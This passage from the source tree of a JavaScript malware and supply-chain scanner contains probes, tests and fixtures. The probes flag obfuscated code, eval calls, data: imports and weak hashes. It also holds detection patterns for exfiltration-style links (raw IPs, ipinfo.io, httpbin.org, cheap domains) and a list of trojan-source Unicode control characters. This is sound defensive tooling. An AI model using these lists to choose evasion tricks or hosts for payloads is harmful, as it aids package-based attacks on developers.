8 | || deobfuscator.encodedArrayValue > 0
9 | || deobfuscator.hasDictionaryString;
10 |
11 | // TODO: hasPrefixedIdentifiers only work for hexadecimal id names generator
12 | return deobfuscator.hasPrefixedIdentifiers && hasSomePatterns;
13 | }
14 |
--------------------------------------------------------------------------------
/src/obfuscators/trojan-source.js:
--------------------------------------------------------------------------------
1 | /**
2 | * Dangerous Unicode control characters that can be used by hackers
3 | * to perform trojan source.
4 | */
5 | const kUnsafeUnicodeControlCharacters = [
6 | "\u202A",
7 | "\u202B",
8 | "\u202D",
9 | "\u202E",
10 | "\u202C",
11 | "\u2066",
12 | "\u2067",
13 | "\u2068",
14 | "\u2069",
15 | "\u200E",
16 | "\u200F",
17 | "\u061C"
18 | ];
19 |
20 | export function verify(sourceString) {
21 | for (const unsafeCharacter of kUnsafeUnicodeControlCharacters) {
22 | if (sourceString.includes(unsafeCharacter)) {
23 | return true;
24 | }
25 | }
26 |
27 | return false;
28 | }
29 |
--------------------------------------------------------------------------------
/src/probes/isArrayExpression.js:
--------------------------------------------------------------------------------
1 | // Import Internal Dependencies
2 | import { extractNode } from "../utils/index.js";
3 |
4 | // CONSTANTS
5 | const kLiteralExtractor = extractNode("Literal");
6 |
7 | /**
8 | * @description Search for ArrayExpression AST Node (Commonly known as JS Arrays)
9 | *
10 | * @see https://github.com/estree/estree/blob/master/es5.md#arrayexpression
11 | * @example
12 | * ["foo", "bar", 1]
13 | */
14 | function validateNode(node) {
15 | return [
16 | node.type === "ArrayExpression"
17 | ];
18 | }
19 |
20 | function main(node, { sourceFile }) {
21 | kLiteralExtractor(
22 | (literalNode) => sourceFile.analyzeLiteral(literalNode, true),
23 | node.elements
24 | );
25 | }
26 |
27 | export default {
28 | name: "isArrayExpression",
29 | validateNode,
30 | main,
31 | breakOnMatch: false
32 | };
33 |
--------------------------------------------------------------------------------
/src/probes/isBinaryExpression.js:
--------------------------------------------------------------------------------
1 | /**
2 | * @description Search for BinaryExpression AST Node.
3 | *
4 | * @see https://github.com/estree/estree/blob/master/es5.md#binaryexpression
5 | * @example
6 | * 5 + 5 + 10
7 | */
8 | function validateNode(node) {
9 | return [
10 | node.type === "BinaryExpression"
11 | ];
12 | }
13 |
14 | function main(node, options) {
15 | const { sourceFile } = options;
16 |
17 | const [binaryExprDeepness, hasUnaryExpression] = walkBinaryExpression(node);
18 | if (binaryExprDeepness >= 3 && hasUnaryExpression) {
19 | sourceFile.deobfuscator.deepBinaryExpression++;
20 | }
21 | }
22 |
23 | /**
24 | * @description Look for suspicious BinaryExpression (read the Obfuscator.io section of the linked G.Doc)
25 | * @see https://docs.google.com/document/d/11ZrfW0bDQ-kd7Gr_Ixqyk8p3TGvxckmhFH3Z8dFoPhY/edit?usp=sharing
26 | * @see https://github.com/estree/estree/blob/master/es5.md#unaryexpression
27 | * @example
28 | * 0x1*-0x12df+-0x1fb9*-0x1+0x2*-0x66d
29 | */
30 | function walkBinaryExpression(expr, level = 1) {
31 | const [lt, rt] = [expr.left.type, expr.right.type];
32 | let hasUnaryExpression = lt === "UnaryExpression" || rt === "UnaryExpression";
33 | let currentLevel = lt === "BinaryExpression" || rt === "BinaryExpression" ? level + 1 : level;
34 |
35 | for (const currExpr of [expr.left, expr.right]) {
36 | if (currExpr.type === "BinaryExpression") {
37 | const [deepLevel, deepHasUnaryExpression] = walkBinaryExpression(currExpr, currentLevel);
38 | if (deepLevel > currentLevel) {
39 | currentLevel = deepLevel;
40 | }
41 | if (!hasUnaryExpression && deepHasUnaryExpression) {
42 | hasUnaryExpression = true;
43 | }
44 | }
45 | }
46 |
47 | return [currentLevel, hasUnaryExpression];
48 | }
49 |
50 | export default {
51 | name: "isBinaryExpression",
52 | validateNode,
53 | main,
54 | breakOnMatch: false
55 | };
56 |
--------------------------------------------------------------------------------
/src/probes/isESMExport.js:
--------------------------------------------------------------------------------
1 | /**
2 | * @description Search for ESM Export
3 | *
4 | * @example
5 | * export { bar } from "./foo.js";
6 | * export * from "./bar.js";
7 | */
8 | function validateNode(node) {
9 | return [
10 | /**
11 | * We must be sure that the source property is a Literal to not fall in a trap
12 | * export const foo = "bar";
13 | */
14 | (node.type === "ExportNamedDeclaration" && node.source?.type === "Literal") ||
15 | node.type === "ExportAllDeclaration"
16 | ];
17 | }
18 |
19 | function main(node, { sourceFile }) {
20 | sourceFile.addDependency(
21 | node.source.value,
22 | node.loc
23 | );
24 | }
25 |
26 | export default {
27 | name: "isESMExport",
28 | validateNode,
29 | main,
30 | breakOnMatch: true
31 | };
32 |
--------------------------------------------------------------------------------
/src/probes/isFetch.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import { getCallExpressionIdentifier } from "@nodesecure/estree-ast-utils";
3 |
4 | function validateNode(node) {
5 | const id = getCallExpressionIdentifier(node);
6 |
7 | return [id === "fetch"];
8 | }
9 |
10 | function main(_node, { sourceFile }) {
11 | sourceFile.flags.add("fetch");
12 | }
13 |
14 | export default {
15 | name: "isFetch",
16 | validateNode,
17 | main,
18 | breakOnMatch: false
19 | };
20 |
--------------------------------------------------------------------------------
/src/probes/isImportDeclaration.js:
--------------------------------------------------------------------------------
1 | /**
2 | * @description Search for ESM ImportDeclaration
3 | * @see https://github.com/estree/estree/blob/master/es2015.md#importdeclaration
4 | * @example
5 | * import * as foo from "bar";
6 | * import fs from "fs";
7 | * import "make-promises-safe";
8 | */
9 | function validateNode(node) {
10 | return [
11 | // Note: the source property is the right-side Literal part of the Import
12 | ["ImportDeclaration", "ImportExpression"].includes(node.type) && node.source.type === "Literal"
13 | ];
14 | }
15 |
16 | function main(node, options) {
17 | const { sourceFile } = options;
18 |
19 | // Searching for dangerous import "data:text/javascript;..." statement.
20 | // see: https://2ality.com/2019/10/eval-via-import.html
21 | if (node.source.value.startsWith("data:text/javascript")) {
22 | sourceFile.addWarning("unsafe-import", node.source.value, node.loc);
23 | }
24 | sourceFile.addDependency(node.source.value, node.loc);
25 | }
26 |
27 | export default {
28 | name: "isImportDeclaration",
29 | validateNode,
30 | main,
31 | breakOnMatch: true,
32 | breakGroup: "import"
33 | };
34 |
--------------------------------------------------------------------------------
/src/probes/isLiteral.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { builtinModules } from "module";
3 |
4 | // Import Third-party Dependencies
5 | import { Hex } from "@nodesecure/sec-literal";
6 |
7 | const kMapRegexIps = Object.freeze({
8 | // eslint-disable-next-line @stylistic/max-len
9 | regexIPv4: /^(https?:\/\/)(?!127\.)(?!.*:(?:0{1,3}|25[6-9])\.)(?!.*:(?:25[6-9])\.(?:0{1,3}|25[6-9])\.)(?!.*:(?:25[6-9])\.(?:25[6-9])\.(?:0{1,3}|25[6-9])\.)(?!.*:(?:25[6-9])\.(?:25[6-9])\.(?:25[6-9])\.(?:0{1,3}|25[6-9]))((?:\d{1,2}|1\d{2}|2[0-4]\d|25[0-5])\.){3}(?:\d{1,2}|1\d{2}|2[0-4]\d|25[0-5])(?::\d{1,5})?(\/[^\s]*)?$/,
10 | regexIPv6: /^(https?:\/\/)(\[[0-9A-Fa-f:]+\])(?::\d{1,5})?(\/[^\s]*)?$/
11 | });
12 |
13 | // CONSTANTS
14 | const kNodeDeps = new Set(builtinModules);
15 | const kShadyLinkRegExps = [
16 | kMapRegexIps.regexIPv4,
17 | kMapRegexIps.regexIPv6,
18 | /(http[s]?:\/\/(bit\.ly|ipinfo\.io|httpbin\.org).*)$/,
19 | /(http[s]?:\/\/.*\.(link|xyz|tk|ml|ga|cf|gq|pw|top|club|mw|bd|ke|am|sbs|date|quest|cd|bid|cd|ws|icu|cam|uno|email|stream))$/
20 | ];
21 | /**
22 | * @description Search for Literal AST Node
23 | * @see https://github.com/estree/estree/blob/master/es5.md#literal
24 | * @example
25 | * "foobar"
26 | */
27 | function validateNode(node) {
28 | return [
29 | node.type === "Literal" && typeof node.value === "string"
30 | ];
31 | }
32 |
33 | function main(node, options) {
34 | const { sourceFile } = options;
35 |
36 | // We are searching for value obfuscated as hex of a minimum length of 4.
37 | if (/^[0-9A-Fa-f]{4,}$/g.test(node.value)) {
38 | const value = Buffer.from(node.value, "hex").toString();
39 | sourceFile.deobfuscator.analyzeString(value);
40 |
41 | // If the value we are retrieving is the name of a Node.js dependency,
42 | // then we add it to the dependencies list and we throw an unsafe-import at the current location.
43 | if (kNodeDeps.has(value)) {
44 | sourceFile.addDependency(value, node.loc);
45 | sourceFile.addWarning("unsafe-import", null, node.loc);
46 | }
47 | else if (value === "require" || !Hex.isSafe(node.value)) {
48 | sourceFile.addWarning("encoded-literal", node.value, node.loc);
49 | }
50 | }
51 | // Else we are checking all other string with our suspect method
52 | else {
53 | for (const regex of kShadyLinkRegExps) {
54 | if (regex.test(node.value)) {
55 | sourceFile.addWarning("shady-link", node.value, node.loc);
56 |
57 | return;
58 | }
59 | }
60 |
61 | sourceFile.analyzeLiteral(node);
62 | }
63 | }
64 |
65 | export default {
66 | name: "isLiteral",
67 | validateNode,
68 | main,
69 | breakOnMatch: false
70 | };
71 |
--------------------------------------------------------------------------------
/src/probes/isLiteralRegex.js:
--------------------------------------------------------------------------------
1 | // Require Third-party Dependencies
2 | import { isLiteralRegex } from "@nodesecure/estree-ast-utils";
3 | import safeRegex from "safe-regex";
4 |
5 | /**
6 | * @description Search for RegExpLiteral AST Node
7 | * @see https://github.com/estree/estree/blob/master/es5.md#regexpliteral
8 | * @example
9 | * /hello/
10 | */
11 | function validateNode(node) {
12 | return [
13 | isLiteralRegex(node)
14 | ];
15 | }
16 |
17 | function main(node, options) {
18 | const { sourceFile } = options;
19 |
20 | // We use the safe-regex package to detect whether or not regex is safe!
21 | if (!safeRegex(node.regex.pattern)) {
22 | sourceFile.addWarning("unsafe-regex", node.regex.pattern, node.loc);
23 | }
24 | }
25 |
26 | export default {
27 | name: "isLiteralRegex",
28 | validateNode,
29 | main,
30 | breakOnMatch: false
31 | };
32 |
--------------------------------------------------------------------------------
/src/probes/isRegexObject.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import { isLiteralRegex } from "@nodesecure/estree-ast-utils";
3 | import safeRegex from "safe-regex";
4 |
5 | /**
6 | * @description Search for Regex Object constructor.
7 | * @see https://github.com/estree/estree/blob/master/es5.md#newexpression
8 | * @example
9 | * new RegExp("...");
10 | */
11 | function validateNode(node) {
12 | return [
13 | isRegexConstructor(node) && node.arguments.length > 0
14 | ];
15 | }
16 |
17 | function main(node, options) {
18 | const { sourceFile } = options;
19 |
20 | const arg = node.arguments[0];
21 | /**
22 | * Note: RegExp Object can contain a RegExpLiteral
23 | * @see https://github.com/estree/estree/blob/master/es5.md#regexpliteral
24 | *
25 | * @example
26 | * new RegExp(/^foo/)
27 | */
28 | const pattern = isLiteralRegex(arg) ? arg.regex.pattern : arg.value;
29 |
30 | // We use the safe-regex package to detect whether or not regex is safe!
31 | if (!safeRegex(pattern)) {
32 | sourceFile.addWarning("unsafe-regex", pattern, node.loc);
33 | }
34 | }
35 |
36 | function isRegexConstructor(node) {
37 | if (node.type !== "NewExpression" || node.callee.type !== "Identifier") {
38 | return false;
39 | }
40 |
41 | return node.callee.name === "RegExp";
42 | }
43 |
44 | export default {
45 | name: "isRegexObject",
46 | validateNode,
47 | main,
48 | breakOnMatch: false
49 | };
50 |
--------------------------------------------------------------------------------
/src/probes/isRequire/RequireCallExpressionWalker.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import path from "node:path";
3 |
4 | // Import Third-party Dependencies
5 | import { Hex } from "@nodesecure/sec-literal";
6 | import { walk as doWalk } from "estree-walker";
7 | import {
8 | arrayExpressionToString,
9 | getMemberExpressionIdentifier,
10 | getCallExpressionArguments
11 | } from "@nodesecure/estree-ast-utils";
12 |
13 | export class RequireCallExpressionWalker {
14 | constructor(tracer) {
15 | this.tracer = tracer;
16 | this.dependencies = new Set();
17 | this.triggerWarning = true;
18 | }
19 |
20 | walk(nodeToWalk) {
21 | this.dependencies = new Set();
22 | this.triggerWarning = true;
23 |
24 | // we need the `this` context of doWalk.enter
25 | const self = this;
26 | doWalk(nodeToWalk, {
27 | enter(node) {
28 | if (node.type !== "CallExpression" || node.arguments.length === 0) {
29 | return;
30 | }
31 |
32 | const rootArgument = node.arguments.at(0);
33 | if (rootArgument.type === "Literal" && Hex.isHex(rootArgument.value)) {
34 | self.dependencies.add(Buffer.from(rootArgument.value, "hex").toString());
35 | this.skip();
36 |
37 | return;
38 | }
39 |
40 | const fullName = node.callee.type === "MemberExpression" ?
41 | [...getMemberExpressionIdentifier(node.callee)].join(".") :
42 | node.callee.name;
43 | const tracedFullName = self.tracer.getDataFromIdentifier(fullName)?.identifierOrMemberExpr ?? fullName;
44 | switch (tracedFullName) {
45 | case "atob":
46 | self.#handleAtob(node);
47 | break;
48 | case "Buffer.from":
49 | self.#handleBufferFrom(node);
50 | break;
51 | case "require.resolve":
52 | self.#handleRequireResolve(rootArgument);
53 | break;
54 | case "path.join":
55 | self.#handlePathJoin(node);
56 | break;
57 | }
58 | }
59 | });
60 |
61 | return { dependencies: this.dependencies, triggerWarning: this.triggerWarning };
62 | }
63 |
64 | #handleAtob(node) {
65 | const nodeArguments = getCallExpressionArguments(node, { tracer: this.tracer });
66 | if (nodeArguments !== null) {
67 | this.dependencies.add(Buffer.from(nodeArguments.at(0), "base64").toString());
68 | }
69 | }
70 |
71 | #handleBufferFrom(node) {
72 | const [element] = node.arguments;
73 | if (element.type === "ArrayExpression") {
74 | const depName = [...arrayExpressionToString(element)].join("").trim();
75 | this.dependencies.add(depName);
76 | }
77 | }
78 |
79 | #handleRequireResolve(rootArgument) {
80 | if (rootArgument.type === "Literal") {
81 | this.dependencies.add(rootArgument.value);
82 | }
83 | }
84 |
85 | #handlePathJoin(node) {
86 | if (!node.arguments.every((arg) => arg.type === "Literal" && typeof arg.value === "string")) {
87 | return;
88 | }
89 | const constructedPath = path.posix.join(...node.arguments.map((arg) => arg.value));
90 | this.dependencies.add(constructedPath);
91 | this.triggerWarning = false;
92 | }
93 | }
94 |
--------------------------------------------------------------------------------
/src/probes/isUnsafeCallee.js:
--------------------------------------------------------------------------------
1 | // Import Internal Dependencies
2 | import { isUnsafeCallee } from "../utils/index.js";
3 | import { ProbeSignals } from "../ProbeRunner.js";
4 |
5 | /**
6 | * @description Detect unsafe statement
7 | * @example
8 | * eval("this");
9 | * Function("return this")();
10 | */
11 | function validateNode(node) {
12 | return isUnsafeCallee(node);
13 | }
14 |
15 | function main(node, options) {
16 | const { sourceFile, data: calleeName } = options;
17 |
18 | if (
19 | calleeName === "Function" &&
20 | node.callee.arguments.length > 0 &&
21 | node.callee.arguments[0].value === "return this"
22 | ) {
23 | return ProbeSignals.Skip;
24 | }
25 | sourceFile.addWarning("unsafe-stmt", calleeName, node.loc);
26 |
27 | return ProbeSignals.Skip;
28 | }
29 |
30 | export default {
31 | name: "isUnsafeCallee",
32 | validateNode,
33 | main,
34 | breakOnMatch: false
35 | };
36 |
--------------------------------------------------------------------------------
/src/probes/isWeakCrypto.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import { getCallExpressionIdentifier } from "@nodesecure/estree-ast-utils";
3 |
4 | // CONSTANTS
5 | const kWeakAlgorithms = new Set([
6 | "md5",
7 | "sha1",
8 | "ripemd160",
9 | "md4",
10 | "md2"
11 | ]);
12 |
13 | function validateNode(node, { tracer }) {
14 | const id = getCallExpressionIdentifier(node);
15 | if (id === null || !tracer.importedModules.has("crypto")) {
16 | return [false];
17 | }
18 |
19 | const data = tracer.getDataFromIdentifier(id);
20 |
21 | return [data !== null && data.identifierOrMemberExpr === "crypto.createHash"];
22 | }
23 |
24 | function main(node, { sourceFile }) {
25 | const arg = node.arguments.at(0);
26 |
27 | if (kWeakAlgorithms.has(arg.value)) {
28 | sourceFile.addWarning("weak-crypto", arg.value, node.loc);
29 | }
30 | }
31 |
32 | export default {
33 | name: "isWeakCrypto",
34 | validateNode,
35 | main,
36 | breakOnMatch: false
37 | };
38 |
--------------------------------------------------------------------------------
/src/utils/exportAssignmentHasRequireLeave.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import {
3 | getCallExpressionIdentifier
4 | } from "@nodesecure/estree-ast-utils";
5 |
6 | export function exportAssignmentHasRequireLeave(expr) {
7 | if (expr.type === "LogicalExpression") {
8 | return atLeastOneBranchHasRequireLeave(expr.left, expr.right);
9 | }
10 |
11 | if (expr.type === "ConditionalExpression") {
12 | return atLeastOneBranchHasRequireLeave(expr.consequent, expr.alternate);
13 | }
14 |
15 | if (expr.type === "CallExpression") {
16 | return getCallExpressionIdentifier(expr) === "require";
17 | }
18 |
19 | if (expr.type === "MemberExpression") {
20 | let rootMember = expr.object;
21 | while (rootMember.type === "MemberExpression") {
22 | rootMember = rootMember.object;
23 | }
24 |
25 | if (rootMember.type !== "CallExpression") {
26 | return false;
27 | }
28 |
29 | return getCallExpressionIdentifier(rootMember) === "require";
30 | }
31 |
32 | return false;
33 | }
34 |
35 | function atLeastOneBranchHasRequireLeave(left, right) {
36 | return [
37 | exportAssignmentHasRequireLeave(left),
38 | exportAssignmentHasRequireLeave(right)
39 | ].some((hasRequire) => hasRequire);
40 | }
41 |
--------------------------------------------------------------------------------
/src/utils/extractNode.js:
--------------------------------------------------------------------------------
1 | // Import Internal Dependencies
2 | import { notNullOrUndefined } from "./notNullOrUndefined.js";
3 |
4 | export function extractNode(expectedType) {
5 | return (callback, nodes) => {
6 | const finalNodes = Array.isArray(nodes) ? nodes : [nodes];
7 |
8 | for (const node of finalNodes) {
9 | if (notNullOrUndefined(node) && node.type === expectedType) {
10 | callback(node);
11 | }
12 | }
13 | };
14 | }
15 |
--------------------------------------------------------------------------------
/src/utils/index.js:
--------------------------------------------------------------------------------
1 | export * from "./exportAssignmentHasRequireLeave.js";
2 | export * from "./extractNode.js";
3 | export * from "./isOneLineExpressionExport.js";
4 | export * from "./isUnsafeCallee.js";
5 | export * from "./notNullOrUndefined.js";
6 | export * from "./rootLocation.js";
7 | export * from "./toArrayLocation.js";
8 | export * from "./isNode.js";
9 |
--------------------------------------------------------------------------------
/src/utils/isNode.js:
--------------------------------------------------------------------------------
1 | export function isNode(value) {
2 | return (
3 | value !== null && typeof value === "object" && "type" in value && typeof value.type === "string"
4 | );
5 | }
6 |
--------------------------------------------------------------------------------
/src/utils/isOneLineExpressionExport.js:
--------------------------------------------------------------------------------
1 | // Import Internal Dependencies
2 | import { exportAssignmentHasRequireLeave } from "./exportAssignmentHasRequireLeave.js";
3 |
4 | export function isOneLineExpressionExport(body) {
5 | if (body.length === 0 || body.length > 1) {
6 | return false;
7 | }
8 |
9 | const [firstNode] = body;
10 | if (firstNode.type !== "ExpressionStatement") {
11 | return false;
12 | }
13 |
14 | switch (firstNode.expression.type) {
15 | // module.exports = require('...');
16 | case "AssignmentExpression":
17 | return exportAssignmentHasRequireLeave(firstNode.expression.right);
18 | // require('...');
19 | case "CallExpression":
20 | return exportAssignmentHasRequireLeave(firstNode.expression);
21 | default:
22 | return false;
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/src/utils/isUnsafeCallee.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import { getCallExpressionIdentifier } from "@nodesecure/estree-ast-utils";
3 |
4 | function isEvalCallee(node) {
5 | const identifier = getCallExpressionIdentifier(node, {
6 | resolveCallExpression: false
7 | });
8 |
9 | return identifier === "eval";
10 | }
11 |
12 | function isFunctionCallee(node) {
13 | const identifier = getCallExpressionIdentifier(node);
14 |
15 | return identifier === "Function" && node.callee.type === "CallExpression";
16 | }
17 |
18 | export function isUnsafeCallee(node) {
19 | if (isEvalCallee(node)) {
20 | return [true, "eval"];
21 | }
22 |
23 | if (isFunctionCallee(node)) {
24 | return [true, "Function"];
25 | }
26 |
27 | return [false, null];
28 | }
29 |
--------------------------------------------------------------------------------
/src/utils/notNullOrUndefined.js:
--------------------------------------------------------------------------------
1 | export function notNullOrUndefined(value) {
2 | return value !== null && value !== void 0;
3 | }
4 |
--------------------------------------------------------------------------------
/src/utils/rootLocation.js:
--------------------------------------------------------------------------------
1 | export function rootLocation() {
2 | return { start: { line: 0, column: 0 }, end: { line: 0, column: 0 } };
3 | }
4 |
--------------------------------------------------------------------------------
/src/utils/toArrayLocation.js:
--------------------------------------------------------------------------------
1 | // Import Internal Dependencies
2 | import { rootLocation } from "./rootLocation.js";
3 |
4 | export function toArrayLocation(location = rootLocation()) {
5 | const { start, end = start } = location;
6 |
7 | return [
8 | [start.line || 0, start.column || 0],
9 | [end.line || 0, end.column || 0]
10 | ];
11 | }
12 |
--------------------------------------------------------------------------------
/src/warnings.js:
--------------------------------------------------------------------------------
1 | // Import Internal Dependencies
2 | import { toArrayLocation } from "./utils/toArrayLocation.js";
3 | import { notNullOrUndefined } from "./utils/notNullOrUndefined.js";
4 |
5 | export const warnings = Object.freeze({
6 | "parsing-error": {
7 | i18n: "sast_warnings.parsing_error",
8 | severity: "Information"
9 | },
10 | "unsafe-import": {
11 | i18n: "sast_warnings.unsafe_import",
12 | severity: "Warning"
13 | },
14 | "unsafe-regex": {
15 | i18n: "sast_warnings.unsafe_regex",
16 | severity: "Warning"
17 | },
18 | "unsafe-stmt": {
19 | code: "unsafe-stmt",
20 | i18n: "sast_warnings.unsafe_stmt",
21 | severity: "Warning"
22 | },
23 | "encoded-literal": {
24 | i18n: "sast_warnings.encoded_literal",
25 | severity: "Information"
26 | },
27 | "short-identifiers": {
28 | i18n: "sast_warnings.short_identifiers",
29 | severity: "Warning"
30 | },
31 | "suspicious-literal": {
32 | i18n: "sast_warnings.suspicious_literal",
33 | severity: "Warning"
34 | },
35 | "suspicious-file": {
36 | i18n: "sast_warnings.suspicious_file",
37 | severity: "Critical",
38 | experimental: false
39 | },
40 | "obfuscated-code": {
41 | i18n: "sast_warnings.obfuscated_code",
42 | severity: "Critical",
43 | experimental: true
44 | },
45 | "weak-crypto": {
46 | i18n: "sast_warnings.weak_crypto",
47 | severity: "Information",
48 | experimental: false
49 | },
50 | "shady-link": {
51 | i18n: "sast_warnings.shady_link",
52 | severity: "Warning",
53 | experimental: false
54 | }
55 | });
56 |
57 | export function generateWarning(kind, options) {
58 | const { location, file = null, value = null, source = "JS-X-Ray" } = options;
59 |
60 | if (kind === "encoded-literal") {
61 | return Object.assign(
62 | { kind, value, location: [toArrayLocation(location)], source },
63 | warnings[kind]
64 | );
65 | }
66 |
67 | const result = { kind, location: toArrayLocation(location), source };
68 | if (notNullOrUndefined(file)) {
69 | result.file = file;
70 | }
71 | if (notNullOrUndefined(value)) {
72 | result.value = value;
73 | }
74 |
75 | return Object.assign(result, warnings[kind]);
76 | }
77 |
78 |
--------------------------------------------------------------------------------
/test/JsSourceParser.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { describe, it } from "node:test";
3 |
4 | // Import Internal Dependencies
5 | import { JsSourceParser } from "../index.js";
6 |
7 | describe("JsSourceParser", () => {
8 | describe("parse", () => {
9 | it("should not crash even if isEcmaScriptModule 'false' is provided (import keyword)", () => {
10 | new JsSourceParser().parse("import * as foo from \"foo\";", {
11 | isEcmaScriptModule: false
12 | });
13 | });
14 |
15 | it("should not crash even if isEcmaScriptModule 'false' is provided (export keyword)", () => {
16 | new JsSourceParser().parse("export const foo = 5;", {
17 | isEcmaScriptModule: false
18 | });
19 | });
20 |
21 | it("should not crash with a source code containing JSX", () => {
22 | const code = `const Dropzone = forwardRef(({ children, ...params }, ref) => {
23 | const { open, ...props } = useDropzone(params);
24 | useImperativeHandle(ref, () => ({ open }), [open]);
25 | return {children({ ...props, open })};
26 | });`;
27 |
28 | new JsSourceParser().parse(code, {
29 | isEcmaScriptModule: false
30 | });
31 | });
32 |
33 | it("should not crash with a source code containing import attributes", () => {
34 | const code = `import data from "./data.json" with { type: "json" };
35 | export default data;`;
36 | new JsSourceParser().parse(code, {
37 | isEcmaScriptModule: false
38 | });
39 | });
40 | });
41 | });
42 |
--------------------------------------------------------------------------------
/test/ProbeRunner.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { describe, it, mock } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import { ProbeRunner, ProbeSignals } from "../src/ProbeRunner.js";
7 |
8 | describe("ProbeRunner", () => {
9 | describe("constructor", () => {
10 | it("should instanciate class with Defaults probes when none are provide", () => {
11 | const pr = new ProbeRunner(null);
12 |
13 | assert.strictEqual(pr.sourceFile, null);
14 | assert.strictEqual(pr.probes, ProbeRunner.Defaults);
15 | });
16 |
17 | it("should use provided probes with validate node as func", () => {
18 | const fakeProbe = [
19 | {
20 | validateNode: (node) => [node.type === "CallExpression"],
21 | main: mock.fn(),
22 | teardown: mock.fn()
23 | }
24 | ];
25 |
26 | const pr = new ProbeRunner(null, fakeProbe);
27 | assert.strictEqual(pr.sourceFile, null);
28 | assert.strictEqual(pr.probes, fakeProbe);
29 | });
30 |
31 | it("should use provided probe with validate node as Array", () => {
32 | const fakeProbe = [
33 | {
34 | validateNode: [],
35 | main: mock.fn(),
36 | teardown: mock.fn()
37 | }];
38 |
39 | const pr = new ProbeRunner(null, fakeProbe);
40 | assert.strictEqual(pr.sourceFile, null);
41 | assert.strictEqual(pr.probes, fakeProbe);
42 | });
43 |
44 | it("should fail if main not present", () => {
45 | const fakeProbe = {
46 | validateNode: (node) => [node.type === "CallExpression"],
47 | teardown: mock.fn()
48 | };
49 |
50 | function instantiateProbeRunner() {
51 | return new ProbeRunner(null, [fakeProbe]);
52 | }
53 |
54 | assert.throws(instantiateProbeRunner, Error, "Invalid probe");
55 | });
56 |
57 | it("should fail if validate not present", () => {
58 | const fakeProbe = {
59 | main: mock.fn(),
60 | teardown: mock.fn()
61 | };
62 |
63 | function instantiateProbeRunner() {
64 | return new ProbeRunner(null, [fakeProbe]);
65 | }
66 |
67 | assert.throws(instantiateProbeRunner, Error, "Invalid probe");
68 | });
69 | });
70 |
71 | describe("walk", () => {
72 | it("should pass validateNode, enter main and then teardown", () => {
73 | const sourceFile = {};
74 | const fakeProbe = {
75 | validateNode: (node) => [node.type === "CallExpression"],
76 | main: mock.fn(),
77 | teardown: mock.fn()
78 | };
79 |
80 | const pr = new ProbeRunner(sourceFile, [
81 | fakeProbe
82 | ]);
83 |
84 | const astNode = {
85 | type: "CallExpression"
86 | };
87 | const result = pr.walk(astNode);
88 | assert.strictEqual(result, null);
89 |
90 | assert.strictEqual(fakeProbe.main.mock.calls.length, 1);
91 | assert.deepEqual(fakeProbe.main.mock.calls.at(0).arguments, [
92 | astNode, { sourceFile, data: null }
93 | ]);
94 |
95 | assert.strictEqual(fakeProbe.teardown.mock.calls.length, 1);
96 | assert.deepEqual(fakeProbe.teardown.mock.calls.at(0).arguments, [
97 | { sourceFile }
98 | ]);
99 | });
100 |
101 | it("should trigger and return a skip signal", () => {
102 | const sourceFile = {};
103 | const fakeProbe = {
104 | validateNode: (node) => [node.type === "CallExpression"],
105 | main: () => ProbeSignals.Skip,
106 | teardown: mock.fn()
107 | };
108 |
109 | const pr = new ProbeRunner(sourceFile, [
110 | fakeProbe
111 | ]);
112 |
113 | const astNode = {
114 | type: "CallExpression"
115 | };
116 | const result = pr.walk(astNode);
117 |
118 | assert.strictEqual(result, "skip");
119 | assert.strictEqual(fakeProbe.teardown.mock.calls.length, 1);
120 | });
121 | });
122 | });
123 |
--------------------------------------------------------------------------------
/test/fixtures/FakeSourceParser.js:
--------------------------------------------------------------------------------
1 | export class FakeSourceParser {
2 | parse(str, options) {
3 | return [{ type: "LiteralExpression" }];
4 | }
5 | }
6 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/deps/deepEntry.js:
--------------------------------------------------------------------------------
1 | require("./dep1");
2 | require("./dep2");
3 | require("./dep3");
4 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/deps/default.cjs:
--------------------------------------------------------------------------------
1 | require('externalDep')
2 | require('dep.cjs')
3 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/deps/default.js:
--------------------------------------------------------------------------------
1 | require('externalDep')
2 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/deps/default.jsx:
--------------------------------------------------------------------------------
1 | import React from 'react'
2 | import Bar from './dep.jsx'
3 |
4 | export default function Foo() {
5 | return (
6 |
7 | )
8 | }
9 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/deps/default.mjs:
--------------------------------------------------------------------------------
1 | import externalDep from 'externalDep';
2 | import('dep.mjs')
3 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/deps/default.node:
--------------------------------------------------------------------------------
1 | module.exports = require('dep.node');
2 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/deps/dep.cjs:
--------------------------------------------------------------------------------
1 | module.exports = {}
2 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/deps/dep.jsx:
--------------------------------------------------------------------------------
1 | import React from 'react'
2 |
3 | export default function Bar() {
4 | return (
5 |
6 | )
7 | }
8 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/deps/dep.mjs:
--------------------------------------------------------------------------------
1 | export {}
2 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/deps/dep.node:
--------------------------------------------------------------------------------
1 | module.exports = require('some/addon');
2 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/deps/dep1.js:
--------------------------------------------------------------------------------
1 | require("../shared");
2 | require("externalDep");
3 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/deps/dep2.js:
--------------------------------------------------------------------------------
1 | require("../shared");
2 | require("../shared.js");
3 | require("externalDep");
4 |
--------------------------------------------------------------------------------
/test/fixtures/entryFiles/deps/dep3.js:
